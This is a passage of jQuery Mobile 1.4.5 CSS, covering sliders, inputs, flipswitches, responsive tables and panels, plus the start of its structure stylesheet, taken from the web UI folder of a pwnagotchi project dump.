.ui-collapsible-content > .ui-filterable + .ui-listview:not(.ui-listview-inset) > li.ui-first-child, .ui-collapsible-content > .ui-filterable + .ui-listview:not(.ui-listview-inset) > li.ui-first-child > a.ui-btn, .ui-collapsible-content > .ui-filterable.ui-listview:not(.ui-listview-inset) > li.ui-first-child, .ui-collapsible-content > .ui-filterable.ui-listview:not(.ui-listview-inset) > li.ui-first-child > a.ui-btn { border-top-width: 1px; } div.ui-slider { height: 30px; margin: .5em 0; padding: 0; -ms-touch-action: pan-y pinch-zoom double-tap-zoom; } div.ui-slider:before, div.ui-slider:after { content: ""; display: table; } div.ui-slider:after { clear: both; } input.ui-slider-input { display: block; float: left; font-size: 14px; font-weight: bold; margin: 0; padding: 4px; width: 40px; height: 20px; line-height: 20px; border-width: 1px; border-style: solid; outline: 0; text-align: center; vertical-align: text-bottom; -webkit-appearance: none; -moz-appearance: none; appearance: none; -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; } .ui-slider-input::-webkit-outer-spin-button, .ui-slider-input::-webkit-inner-spin-button { -webkit-appearance: none; margin: 0; } .ui-slider-track { position: relative; overflow: visible; border-width: 1px; border-style: solid; height: 15px; margin: 0 15px 0 68px; top: 6px; } .ui-slider-track.ui-mini { height: 12px; top: 8px; } .ui-slider-track .ui-slider-bg { height: 100%; } /* High level of specificity to override button margins in grids */ .ui-slider-track .ui-btn.ui-slider-handle { position: absolute; z-index: 1; top: 50%; width: 28px; height: 28px; margin: -15px 0 0 -15px; outline: 0; padding: 0; } .ui-slider-track.ui-mini .ui-slider-handle { height: 14px; width: 14px; margin: -8px 0 0 -8px; } select.ui-slider-switch { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } div.ui-slider-switch { display: inline-block; height: 32px; width: 5.8em; top: 0; } /* reset the clearfix */ div.ui-slider-switch:before, div.ui-slider-switch:after { display: none; clear: none; } div.ui-slider-switch.ui-mini { height: 29px; top: 0; } .ui-slider-inneroffset { margin: 0 16px; position: relative; z-index: 1; } .ui-slider-switch.ui-mini .ui-slider-inneroffset { margin: 0 15px 0 14px; } .ui-slider-switch .ui-btn.ui-slider-handle { margin: 1px 0 0 -15px; } .ui-slider-switch.ui-mini .ui-slider-handle { width: 25px; height: 25px; margin: 1px 0 0 -13px; padding: 0; } .ui-slider-handle-snapping { -webkit-transition: left 70ms linear; -moz-transition: left 70ms linear; transition: left 70ms linear; } .ui-slider-switch .ui-slider-label { position: absolute; text-align: center; width: 100%; overflow: hidden; font-size: 16px; top: 0; line-height: 2; min-height: 100%; white-space: nowrap; cursor: pointer; } .ui-slider-switch.ui-mini .ui-slider-label { font-size: 14px; } .ui-slider-switch .ui-slider-label-a { z-index: 1; left: 0; text-indent: -1.5em; } .ui-slider-switch .ui-slider-label-b { z-index: 0; right: 0; text-indent: 1.5em; } /* The corner radii for ui-slider-switch/track can be specified in theme CSS. The bg and handle inherits. */ .ui-slider-track .ui-slider-bg, .ui-slider-switch .ui-slider-label, .ui-slider-switch .ui-slider-inneroffset, .ui-slider-handle { -webkit-border-radius: inherit; border-radius: inherit; } .ui-field-contain div.ui-slider-switch { margin: 0; } /* ui-hide-label deprecated in 1.4. TODO: Remove in 1.5 */ .ui-field-contain div.ui-slider-switch, .ui-field-contain.ui-hide-label div.ui-slider-switch, html .ui-popup .ui-field-contain div.ui-slider-switch { display: inline-block; width: 5.8em; } /* slider tooltip -----------------------------------------------------------------------------------------------------------*/ .ui-slider-popup { width: 64px; height: 64px; font-size: 36px; padding-top: 14px; opacity: 0.8; } .ui-slider-popup { position: absolute !important; text-align: center; z-index: 100; } .ui-slider-track .ui-btn.ui-slider-handle { font-size: .9em; line-height: 30px; } .ui-rangeslider { margin: .5em 0; } .ui-rangeslider:before, .ui-rangeslider:after { content: ""; display: table; } .ui-rangeslider:after { clear: both; } .ui-rangeslider .ui-slider-input.ui-rangeslider-last { float: right; } .ui-rangeslider .ui-rangeslider-sliders { position: relative; overflow: visible; height: 30px; margin: 0 68px; } .ui-rangeslider .ui-rangeslider-sliders .ui-slider-track { position: absolute; top: 6px; right: 0; left: 0; margin: 0; } .ui-rangeslider.ui-mini .ui-rangeslider-sliders .ui-slider-track { top: 8px; } .ui-rangeslider .ui-slider-track:first-child .ui-slider-bg { display: none; } .ui-rangeslider .ui-rangeslider-sliders .ui-slider-track:first-child { background-color: transparent; background: none; border-width: 0; height: 0; } /* this makes ie6 and ie7 set height to 0 to fix z-index problem */ html >/**/body .ui-rangeslider .ui-rangeslider-sliders .ui-slider-track:first-child { height: 15px; border-width: 1px; } html >/**/body .ui-rangeslider.ui-mini .ui-rangeslider-sliders .ui-slider-track:first-child { height: 12px; } /* Hide the second label (the first is moved outside the div) */ div.ui-rangeslider label { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-field-contain .ui-rangeslider input.ui-slider-input, .ui-field-contain .ui-rangeslider.ui-mini input.ui-slider-input, .ui-field-contain .ui-rangeslider .ui-rangeslider-sliders, .ui-field-contain .ui-rangeslider.ui-mini .ui-rangeslider-sliders { margin-top: 0; margin-bottom: 0; } .ui-input-text, .ui-input-search { margin: .5em 0; border-width: 1px; border-style: solid; } .ui-mini { margin: .446em; } .ui-input-text input, .ui-input-search input, textarea.ui-input-text { padding: .4em; line-height: 1.4em; display: block; width: 100%; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; outline: 0; } .ui-input-text input, .ui-input-search input { margin: 0; min-height: 2.2em; text-align: left; /* Opera aligns type="date" right by default */ border: 0; background: transparent none; -webkit-appearance: none; -webkit-border-radius: inherit; border-radius: inherit; } textarea.ui-input-text { overflow: auto; resize: vertical; } .ui-mini .ui-input-text input, .ui-mini .ui-input-search input, .ui-input-text.ui-mini input, .ui-input-search.ui-mini input, .ui-mini textarea.ui-input-text, textarea.ui-mini { font-size: 14px; } /* Same margin for mini textareas as other mini sized widgets (12.5/14 * 0.5em) */ .ui-mini textarea.ui-input-text, textarea.ui-mini { margin: .446em 0; } .ui-input-has-clear, .ui-input-search { position: relative; } /* Padding on the div instead of input because of browser spinners etc. */ .ui-input-has-clear { padding-right: 2.375em; } .ui-mini.ui-input-has-clear { padding-right: 2.923em; } .ui-input-has-clear input { padding-right: 0; /* Autofill on Chrome has bg color so we unset corners right as well. */ -webkit-border-top-right-radius: 0; border-top-right-radius: 0; -webkit-border-bottom-right-radius: 0; border-bottom-right-radius: 0; } /* Search icon */ .ui-input-search input { padding-left: 1.75em; } .ui-input-search:after { position: absolute; left: .3125em; top: 50%; margin-top: -7px; content: ""; background-position: center center; background-repeat: no-repeat; width: 14px; height: 14px; filter: Alpha(Opacity=50); opacity: .5; } .ui-input-search.ui-input-has-clear .ui-btn.ui-input-clear, .ui-input-text.ui-input-has-clear .ui-btn.ui-input-clear { position: absolute; right: 0; top: 50%; margin: -14px .3125em 0; border: 0; background-color: transparent; } .ui-input-search .ui-input-clear-hidden, .ui-input-text .ui-input-clear-hidden { display: none; } /* Resolves issue #5166: Added to support issue introduced in Firefox 15. We can likely remove this in the future. */ .ui-input-text input::-moz-placeholder, .ui-input-search input::-moz-placeholder, textarea.ui-input-text::-moz-placeholder { color: #aaa; } /* Same for IE10 */ .ui-input-text input:-ms-input-placeholder, .ui-input-search input:-ms-input-placeholder, textarea.ui-input-text:-ms-input-placeholder { color: #aaa; } /* Resolves issue #5131: Width of textinput depends on its type, for Android 4.1 */ .ui-input-text input[type=number]::-webkit-outer-spin-button { margin: 0; } /* Resolves issue #5756: Textinput in IE10 has a default clear button */ .ui-input-text input::-ms-clear, .ui-input-search input::-ms-clear { display: none; } .ui-input-text input:focus, .ui-input-search input:focus { -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } textarea.ui-input-text.ui-textinput-autogrow { overflow: hidden; } .ui-textinput-autogrow-resize { -webkit-transition: height 0.25s; -o-transition: height 0.25s; -moz-transition: height 0.25s; transition: height 0.25s; } .ui-flipswitch { display: inline-block; vertical-align: middle; width: 5.875em; /* Override this and padding-left in next rule if you use labels other than "on/off" and need more space */ height: 1.875em; border-width: 1px; border-style: solid; margin: .5em 0; overflow: hidden; -webkit-transition-property: padding, width, background-color, color, border-color; -moz-transition-property: padding, width, background-color, color, border-color; -o-transition-property: padding, width, background-color, color, border-color; transition-property: padding, width, background-color, color, border-color; -webkit-transition-duration: 100ms; -moz-transition-duration: 100ms; -o-transition-duration: 100ms; transition-duration: 100ms; -webkit-touch-callout: none; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; cursor: pointer; } .ui-flipswitch.ui-flipswitch-active { padding-left: 4em; /* Override this and width in previous rule if you use labels other than "on/off" and need more space */ width: 1.875em; } .ui-flipswitch-input { position: absolute; height: 1px; width: 1px; margin: -1px; overflow: hidden; clip: rect(1px,1px,1px,1px); border: 0; outline: 0; filter: Alpha(Opacity=0); opacity: 0; } .ui-flipswitch .ui-btn.ui-flipswitch-on, .ui-flipswitch .ui-flipswitch-off { float: left; height: 1.75em; margin: .0625em; line-height: 1.65em; } .ui-flipswitch .ui-btn.ui-flipswitch-on { width: 1.75em; padding: 0; text-indent: -2.6em; /* Override this to center text if you use a label other than "on" */ text-align: left; border-width: 1px; border-style: solid; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; border-radius: inherit; overflow: visible; color: inherit; text-shadow: inherit; } .ui-flipswitch .ui-flipswitch-off { padding: 1px; text-indent: 1em; /* Override this to center text if you use a label other than "off" */ } /* Override field container CSS to prevent the flipswitch from becomming full width */ html .ui-field-contain > label + .ui-flipswitch, html .ui-popup .ui-field-contain > label + .ui-flipswitch { display: inline-block; width: 5.875em; /* If you override the width for .ui-flipswitch you should repeat the same value here */ -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; } .ui-field-contain .ui-flipswitch.ui-flipswitch-active, .ui-popup .ui-field-contain .ui-flipswitch.ui-flipswitch-active { width: 1.875em; } .ui-table { border: 0; border-collapse: collapse; padding: 0; width: 100%; } .ui-table th, .ui-table td { line-height: 1.5em; text-align: left; padding: .4em .5em; vertical-align:top; } .ui-table th .ui-btn, .ui-table td .ui-btn { line-height: normal; } .ui-table th { font-weight: bold; } .ui-table caption { text-align: left; margin-bottom: 1.4em; opacity: .5; } /* Styles for the table columntoggle mode */ .ui-table-columntoggle-btn { float: right; margin-bottom: .8em; } /* Remove top/bottom margins around the fieldcontain on check list */ .ui-table-columntoggle-popup fieldset { margin:0; } .ui-table-columntoggle { clear: both; } /* Hide all prioritized columns by default */ @media only all { th.ui-table-priority-6, td.ui-table-priority-6, th.ui-table-priority-5, td.ui-table-priority-5, th.ui-table-priority-4, td.ui-table-priority-4, th.ui-table-priority-3, td.ui-table-priority-3, th.ui-table-priority-2, td.ui-table-priority-2, th.ui-table-priority-1, td.ui-table-priority-1 { display: none; } } /* Preset breakpoints if ".ui-responsive" class added to table */ /* Show priority 1 at 320px (20em x 16px) */ @media screen and (min-width: 20em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-1, .ui-table-columntoggle.ui-responsive td.ui-table-priority-1 { display: table-cell; } } /* Show priority 2 at 480px (30em x 16px) */ @media screen and (min-width: 30em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-2, .ui-table-columntoggle.ui-responsive td.ui-table-priority-2 { display: table-cell; } } /* Show priority 3 at 640px (40em x 16px) */ @media screen and (min-width: 40em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-3, .ui-table-columntoggle.ui-responsive td.ui-table-priority-3 { display: table-cell; } } /* Show priority 4 at 800px (50em x 16px) */ @media screen and (min-width: 50em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-4, .ui-table-columntoggle.ui-responsive td.ui-table-priority-4 { display: table-cell; } } /* Show priority 5 at 960px (60em x 16px) */ @media screen and (min-width: 60em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-5, .ui-table-columntoggle.ui-responsive td.ui-table-priority-5 { display: table-cell; } } /* Show priority 6 at 1,120px (70em x 16px) */ @media screen and (min-width: 70em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-6, .ui-table-columntoggle.ui-responsive td.ui-table-priority-6 { display: table-cell; } } /* Unchecked manually: Always hide */ .ui-table-columntoggle th.ui-table-cell-hidden, .ui-table-columntoggle td.ui-table-cell-hidden, .ui-table-columntoggle.ui-responsive th.ui-table-cell-hidden, .ui-table-columntoggle.ui-responsive td.ui-table-cell-hidden { display: none; } /* Checked manually: Always show */ .ui-table-columntoggle th.ui-table-cell-visible, .ui-table-columntoggle td.ui-table-cell-visible, .ui-table-columntoggle.ui-responsive th.ui-table-cell-visible, .ui-table-columntoggle.ui-responsive td.ui-table-cell-visible { display: table-cell; } /* Styles for the table columntoggle mode */ .ui-table-reflow td .ui-table-cell-label, .ui-table-reflow th .ui-table-cell-label { display: none; } /* Mobile first styles: Begin with the stacked presentation at narrow widths */ @media only all { /* Hide the table headers */ .ui-table-reflow thead td, .ui-table-reflow thead th { display: none; } /* Show the table cells as a block level element */ .ui-table-reflow td, .ui-table-reflow th { text-align: left; display: block; } /* Add a fair amount of top margin to visually separate each row when stacked */ .ui-table-reflow tbody th { margin-top: 3em; } /* Make the label elements a percentage width */ .ui-table-reflow td .ui-table-cell-label, .ui-table-reflow th .ui-table-cell-label { padding: .4em; min-width: 30%; display: inline-block; margin: -.4em 1em -.4em -.4em; } /* For grouped headers, have a different style to visually separate the levels by classing the first label in each col group */ .ui-table-reflow th .ui-table-cell-label-top, .ui-table-reflow td .ui-table-cell-label-top { display: block; padding: .4em 0; margin: .4em 0; text-transform: uppercase; font-size: .9em; font-weight: normal; } } /* Breakpoint to show as a standard table at 560px (35em x 16px) or wider */ @media ( min-width: 35em ) { /* Show the table header rows */ .ui-table-reflow.ui-responsive td, .ui-table-reflow.ui-responsive th, .ui-table-reflow.ui-responsive tbody th, .ui-table-reflow.ui-responsive tbody td, .ui-table-reflow.ui-responsive thead td, .ui-table-reflow.ui-responsive thead th { display: table-cell; margin: 0; } /* Hide the labels in each cell */ .ui-table-reflow.ui-responsive td .ui-table-cell-label, .ui-table-reflow.ui-responsive th .ui-table-cell-label { display: none; } } /* Hack to make IE9 and WP7.5 treat cells like block level elements, scoped to ui-responsive class */ /* Applied in a max-width media query up to the table layout breakpoint so we don't need to negate this*/ @media ( max-width: 35em ) { .ui-table-reflow.ui-responsive td, .ui-table-reflow.ui-responsive th { width: 100%; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; float: left; clear: left; } } /* Panel */ .ui-panel { width: 17em; min-height: 100%; max-height: none; border-width: 0; position: absolute; top: 0; display: block; } .ui-panel-closed { width: 0; max-height: 100%; overflow: hidden; visibility: hidden; left: 0; clip: rect(1px,1px,1px,1px); } .ui-panel-fixed { position: fixed; bottom: -1px; /* Fixes gap on Chrome for Android */ padding-bottom: 1px; } .ui-panel-display-reveal { z-index: 1; } .ui-panel-display-push { z-index: 999; } .ui-panel-display-overlay { z-index: 1001; /* Fixed toolbars have z-index 1000 */ } .ui-panel-inner { padding: 1em; } /* Container, page and wrapper */ .ui-panel-page-container { overflow-x: visible; } .ui-panel-page-container-themed .ui-page-active { background: none; } .ui-panel-wrapper { position: relative; min-height: inherit; border: 0; overflow-x: hidden; z-index: 999; } /* Fixed toolbars */ .ui-panel-fixed-toolbar { overflow-x: hidden; } /* Dismiss */ .ui-panel-dismiss { position: absolute; top: 0; left: 0; right: 0; height: 100%; z-index: 1002; display: none; } .ui-panel-dismiss-open { display: block; } /* Animate class is added to panel, wrapper and fixed toolbars */ .ui-panel-animate { -webkit-transition: -webkit-transform 300ms ease; -webkit-transition-duration: 300ms; -moz-transition: -moz-transform 300ms ease; transition: transform 300ms ease; } /* Fix for Windows Phone issue #6349: unset the transition for transforms in case of fixed toolbars. */ @media screen and ( max-device-width: 768px ) { .ui-page-header-fixed .ui-panel-animate.ui-panel-wrapper, .ui-page-footer-fixed .ui-panel-animate.ui-panel-wrapper, .ui-panel-animate.ui-panel-fixed-toolbar { -ms-transition: none; } /* We need a transitionend event ... */ .ui-panel-animate.ui-panel-fixed-toolbar { -ms-transition: -ms-transform 1ms; -ms-transform: rotate(0deg); } } /* Hardware acceleration for smoother transitions on WebKit browsers */ .ui-panel-animate.ui-panel:not(.ui-panel-display-reveal) { -webkit-backface-visibility: hidden; -webkit-transform: translate3d(0,0,0); } /* Panel positioning (for overlay and push) */ /* Panel left closed */ .ui-panel-position-left { left: -17em; } /* Panel left closed animated */ .ui-panel-animate.ui-panel-position-left.ui-panel-display-overlay, .ui-panel-animate.ui-panel-position-left.ui-panel-display-push { left: 0; -webkit-transform: translate3d(-17em,0,0); -moz-transform: translate3d(-17em,0,0); transform: translate3d(-17em,0,0); } /* Panel left open */ .ui-panel-position-left.ui-panel-display-reveal, /* Unset "panel left closed" for reveal */ .ui-panel-open.ui-panel-position-left { left: 0; } /* Panel left open animated */ .ui-panel-animate.ui-panel-open.ui-panel-position-left.ui-panel-display-overlay, .ui-panel-animate.ui-panel-open.ui-panel-position-left.ui-panel-display-push { -webkit-transform: translate3d(0,0,0); transform: translate3d(0,0,0); -moz-transform: none; } /* Panel right closed */ .ui-panel-position-right { right: -17em; } /* Panel right closed animated */ .ui-panel-animate.ui-panel-position-right.ui-panel-display-overlay, .ui-panel-animate.ui-panel-position-right.ui-panel-display-push { right: 0; -webkit-transform: translate3d(17em,0,0); -moz-transform: translate3d(17em,0,0); transform: translate3d(17em,0,0); } /* Panel right open */ .ui-panel-position-right.ui-panel-display-reveal, /* Unset "panel right closed" for reveal */ .ui-panel-position-right.ui-panel-open { right: 0; } /* Panel right open animated */ .ui-panel-animate.ui-panel-open.ui-panel-position-right.ui-panel-display-overlay, .ui-panel-animate.ui-panel-open.ui-panel-position-right.ui-panel-display-push { -webkit-transform: translate3d(0,0,0); transform: translate3d(0,0,0); -moz-transform: none; } /* Wrapper and fixed toolbars positioning (for reveal and push) */ /* Panel left open */ .ui-panel-page-content-position-left { left: 17em; right: -17em; } /* Panel left open animated */ .ui-panel-animate.ui-panel-page-content-position-left { left: 0; right: 0; -webkit-transform: translate3d(17em,0,0); -moz-transform: translate3d(17em,0,0); transform: translate3d(17em,0,0); } /* Panel right open */ .ui-panel-page-content-position-right { left: -17em; right: 17em; } /* Panel right open animated */ .ui-panel-animate.ui-panel-page-content-position-right { left: 0; right: 0; -webkit-transform: translate3d(-17em,0,0); -moz-transform: translate3d(-17em,0,0); transform: translate3d(-17em,0,0); } /* Dismiss model open */ .ui-panel-dismiss-open.ui-panel-dismiss-position-left { left: 17em; } .ui-panel-dismiss-open.ui-panel-dismiss-position-right { right: 17em; } /* Shadows and borders */ .ui-panel-display-reveal { -webkit-box-shadow: inset -5px 0 5px rgba(0,0,0,.15); -moz-box-shadow: inset -5px 0 5px rgba(0,0,0,.15); box-shadow: inset -5px 0 5px rgba(0,0,0,.15); } .ui-panel-position-right.ui-panel-display-reveal { -webkit-box-shadow: inset 5px 0 5px rgba(0,0,0,.15); -moz-box-shadow: inset 5px 0 5px rgba(0,0,0,.15); box-shadow: inset 5px 0 5px rgba(0,0,0,.15); } .ui-panel-display-overlay { -webkit-box-shadow: 5px 0 5px rgba(0,0,0,.15); -moz-box-shadow: 5px 0 5px rgba(0,0,0,.15); box-shadow: 5px 0 5px rgba(0,0,0,.15); } .ui-panel-position-right.ui-panel-display-overlay { -webkit-box-shadow: -5px 0 5px rgba(0,0,0,.15); -moz-box-shadow: -5px 0 5px rgba(0,0,0,.15); box-shadow: -5px 0 5px rgba(0,0,0,.15); } .ui-panel-open.ui-panel-position-left.ui-panel-display-push { border-right-width: 1px; margin-right: -1px; } .ui-panel-page-content-position-left.ui-panel-page-content-display-push { margin-left: 1px; width: auto; } .ui-panel-open.ui-panel-position-right.ui-panel-display-push { border-left-width: 1px; margin-left: -1px; } .ui-panel-page-content-position-right.ui-panel-page-content-display-push { margin-right: 1px; width: auto; } /* Responsive: wrap on wide viewports once open */ @media (min-width:55em) { .ui-responsive-panel .ui-panel-page-content-open.ui-panel-page-content-position-left { margin-right: 17em; } .ui-responsive-panel .ui-panel-page-content-open.ui-panel-page-content-position-right { margin-left: 17em; } .ui-responsive-panel .ui-panel-page-content-open { width: auto; } .ui-responsive-panel .ui-panel-dismiss-display-push, .ui-responsive-panel.ui-page-active ~ .ui-panel-dismiss-display-push { display: none; } } .ui-tabs { position: relative;/* position: relative prevents IE scroll bug (element with position: relative inside container with overflow: auto appear as "fixed") */ padding: .2em; } ================================================ FILE: pwnagotchi/ui/web/static/js/jquery.mobile/jquery.mobile.structure-1.4.5.css ================================================ /*! * jQuery Mobile 1.4.5 * Git HEAD hash: 68e55e78b292634d3991c795f06f5e37a512decc <> Date: Fri Oct 31 2014 17:33:30 UTC * http://jquerymobile.com * * Copyright 2010, 2014 jQuery Foundation, Inc. and othercontributors * Released under the MIT license. * http://jquery.org/license * */ /* Some unsets */ .ui-mobile, .ui-mobile body { height: 99.9%; } .ui-mobile fieldset, .ui-page { padding: 0; margin: 0; } .ui-mobile a img, .ui-mobile fieldset { border-width: 0; } /* Fixes for fieldset issues on IE10 and FF (see #6077) */ .ui-mobile fieldset { min-width: 0; } @-moz-document url-prefix() { .ui-mobile fieldset { display: table-column; vertical-align: middle; } } /* Viewport */ .ui-mobile-viewport { margin: 0; overflow-x: visible; -webkit-text-size-adjust: 100%; -ms-text-size-adjust:none; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); } /* Issue #2066 */ body.ui-mobile-viewport, div.ui-mobile-viewport { overflow-x: hidden; } /* "page" containers - full-screen views, one should always be in view post-pageload */ .ui-mobile [data-role=page], .ui-mobile [data-role=dialog], .ui-page { top: 0; left: 0; width: 100%; min-height: 100%; position: absolute; display: none; border: 0; } /* On ios4, setting focus on the page element causes flashing during transitions when there is an outline, so we turn off outlines */ .ui-page { outline: none; } .ui-mobile .ui-page-active { display: block; overflow: visible; overflow-x: hidden; } @media screen and (orientation: portrait) { .ui-mobile .ui-page { min-height: 420px; } } @media screen and (orientation: landscape) { .ui-mobile .ui-page { min-height: 300px; } } /* Fouc */ .ui-mobile-rendering > * { visibility: hidden; } /* Non-js content hiding */ .ui-nojs { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } /* Loading screen */ .ui-loading .ui-loader { display: block; } .ui-loader { display: none; z-index: 9999999; position: fixed; top: 50%; left: 50%; border:0; } .ui-loader-default { background: none; filter: Alpha(Opacity=18); opacity: .18; width: 2.875em; height: 2.875em; margin-left: -1.4375em; margin-top: -1.4375em; } .ui-loader-verbose { width: 12.5em; filter: Alpha(Opacity=88); opacity: .88; box-shadow: 0 1px 1px -1px #fff; height: auto; margin-left: -6.875em; margin-top: -2.6875em; padding: .625em; } .ui-loader-default h1 { font-size: 0; width: 0; height: 0; overflow: hidden; } .ui-loader-verbose h1 { font-size: 1em; margin: 0; text-align: center; } .ui-loader .ui-icon-loading { background-color: #000; display: block; margin: 0; width: 2.75em; height: 2.75em; padding: .0625em; -webkit-border-radius: 2.25em; border-radius: 2.25em; } .ui-loader-verbose .ui-icon-loading { margin: 0 auto .625em; filter: Alpha(Opacity=75); opacity: .75; } .ui-loader-textonly { padding: .9375em; margin-left: -7.1875em; } .ui-loader-textonly .ui-icon-loading { display: none; } .ui-loader-fakefix { position: absolute; } /* Headers, content panels */ .ui-bar, .ui-body { position: relative; padding: .4em 1em; overflow: hidden; display: block; clear: both; } .ui-bar h1, .ui-bar h2, .ui-bar h3, .ui-bar h4, .ui-bar h5, .ui-bar h6 { margin: 0; padding: 0; font-size: 1em; display: inline-block; } .ui-header, .ui-footer { border-width: 1px 0; border-style: solid; position: relative; } .ui-header:empty, .ui-footer:empty { min-height: 2.6875em; } .ui-header .ui-title, .ui-footer .ui-title { font-size: 1em; min-height: 1.1em; text-align: center; display: block; margin: 0 30%; padding: .7em 0; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; outline: 0 !important; } .ui-footer .ui-title { margin: 0 1em; } .ui-content { border-width: 0; overflow: visible; overflow-x: hidden; padding: 1em; } /* Corner styling for dialogs and popups */ .ui-corner-all > .ui-header:first-child, .ui-corner-all > .ui-content:first-child, .ui-corner-all > .ui-footer:first-child { -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; } .ui-corner-all > .ui-header:last-child, .ui-corner-all > .ui-content:last-child, .ui-corner-all > .ui-footer:last-child { -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; } /* Buttons and icons */ .ui-btn { font-size: 16px; margin: .5em 0; padding: .7em 1em; display: block; position: relative; text-align: center; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; cursor: pointer; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } .ui-btn-icon-notext, .ui-header button.ui-btn.ui-btn-icon-notext, .ui-footer button.ui-btn.ui-btn-icon-notext { padding: 0; width: 1.75em; height: 1.75em; text-indent: -9999px; white-space: nowrap !important; } .ui-mini { font-size: 12.5px; } .ui-mini .ui-btn { font-size: inherit; } /* Make buttons in toolbars default to mini and inline. */ .ui-header .ui-btn, .ui-footer .ui-btn { font-size: 12.5px; display: inline-block; vertical-align: middle; } .ui-header .ui-controlgroup .ui-btn-icon-notext, .ui-footer .ui-controlgroup .ui-btn-icon-notext { font-size: 12.5px; } /* To ensure same top and left/right position when ui-btn-left/right are added to something other than buttons. */ .ui-header .ui-btn-left, .ui-header .ui-btn-right { font-size: 12.5px; } .ui-mini.ui-btn-icon-notext, .ui-mini .ui-btn-icon-notext, .ui-header .ui-btn-icon-notext, .ui-footer .ui-btn-icon-notext { font-size: 16px; padding: 0; } .ui-btn-inline { display: inline-block; vertical-align: middle; margin-right: .625em; } .ui-btn-icon-left { padding-left: 2.5em; } .ui-btn-icon-right { padding-right: 2.5em; } .ui-btn-icon-top { padding-top: 2.5em; } .ui-btn-icon-bottom { padding-bottom: 2.5em; } .ui-header .ui-btn-icon-top, .ui-footer .ui-btn-icon-top, .ui-header .ui-btn-icon-bottom, .ui-footer .ui-btn-icon-bottom { padding-left: .3125em; padding-right: .3125em; } .ui-btn-icon-left:after, .ui-btn-icon-right:after, .ui-btn-icon-top:after, .ui-btn-icon-bottom:after, .ui-btn-icon-notext:after { content: ""; position: absolute; display: block; width: 22px; height: 22px; } .ui-btn-icon-notext:after, .ui-btn-icon-left:after, .ui-btn-icon-right:after { top: 50%; margin-top: -11px; } .ui-btn-icon-left:after { left: .5625em; } .ui-btn-icon-right:after { right: .5625em; } .ui-mini.ui-btn-icon-left:after, .ui-mini .ui-btn-icon-left:after, .ui-header .ui-btn-icon-left:after, .ui-footer .ui-btn-icon-left:after { left: .37em; } .ui-mini.ui-btn-icon-right:after, .ui-mini .ui-btn-icon-right:after, .ui-header .ui-btn-icon-right:after, .ui-footer .ui-btn-icon-right:after { right: .37em; } .ui-btn-icon-notext:after, .ui-btn-icon-top:after, .ui-btn-icon-bottom:after { left: 50%; margin-left: -11px; } .ui-btn-icon-top:after { top: .5625em; } .ui-btn-icon-bottom:after { top: auto; bottom: .5625em; } /* Buttons in header position classes */ .ui-header .ui-btn-left, .ui-header .ui-btn-right, .ui-btn-left > [class*="ui-"], .ui-btn-right > [class*="ui-"] { margin: 0; } .ui-btn-left, .ui-btn-right { position: absolute; top: .24em; } .ui-btn-left { left: .4em; } .ui-btn-right { right: .4em; } .ui-btn-icon-notext.ui-btn-left { top: .3125em; left: .3125em; } .ui-btn-icon-notext.ui-btn-right { top: .3125em; right: .3125em; } /* Button elements */ button.ui-btn, .ui-controlgroup-controls button.ui-btn-icon-notext { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; -webkit-appearance: none; -moz-appearance: none; width: 100%; } button.ui-btn-inline, .ui-header button.ui-btn, .ui-footer button.ui-btn { width: auto; } /* Firefox adds a 1px border in a button element. We negate this to make sure they have the same height as other buttons in controlgroups. */ button.ui-btn::-moz-focus-inner { border: 0; } button.ui-btn-icon-notext, .ui-controlgroup-horizontal .ui-controlgroup-controls button.ui-btn { -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; width: 1.75em; } /* Form labels */ .ui-mobile label, .ui-controlgroup-label { display: block; margin: 0 0 .4em; } /* Accessible content hiding */ /* ui-hide-label deprecated in 1.4. TODO: Remove in 1.5 */ .ui-hide-label > label, .ui-hide-label .ui-controlgroup-label, .ui-hide-label .ui-rangeslider label, .ui-hidden-accessible { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } /* Used for hiding elements by the filterable widget. You can also use this class to hide list items or buttons in controlgroups; this ensures correct corner styling. */ .ui-screen-hidden { display: none !important; } /* Transitions originally inspired by those from jQtouch, nice work, folks */ .ui-mobile-viewport-transitioning, .ui-mobile-viewport-transitioning .ui-page { width: 100%; height: 100%; overflow: hidden; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } .ui-page-pre-in { opacity: 0; } .in { -webkit-animation-timing-function: ease-out; -webkit-animation-duration: 350ms; -moz-animation-timing-function: ease-out; -moz-animation-duration: 350ms; animation-timing-function: ease-out; animation-duration: 350ms; } .out { -webkit-animation-timing-function: ease-in; -webkit-animation-duration: 225ms; -moz-animation-timing-function: ease-in; -moz-animation-duration: 225ms; animation-timing-function: ease-in; animation-duration: 225ms; } @-webkit-keyframes fadein { from { opacity: 0; } to { opacity: 1; } } @-moz-keyframes fadein { from { opacity: 0; } to { opacity: 1; } } @keyframes fadein { from { opacity: 0; } to { opacity: 1; } } 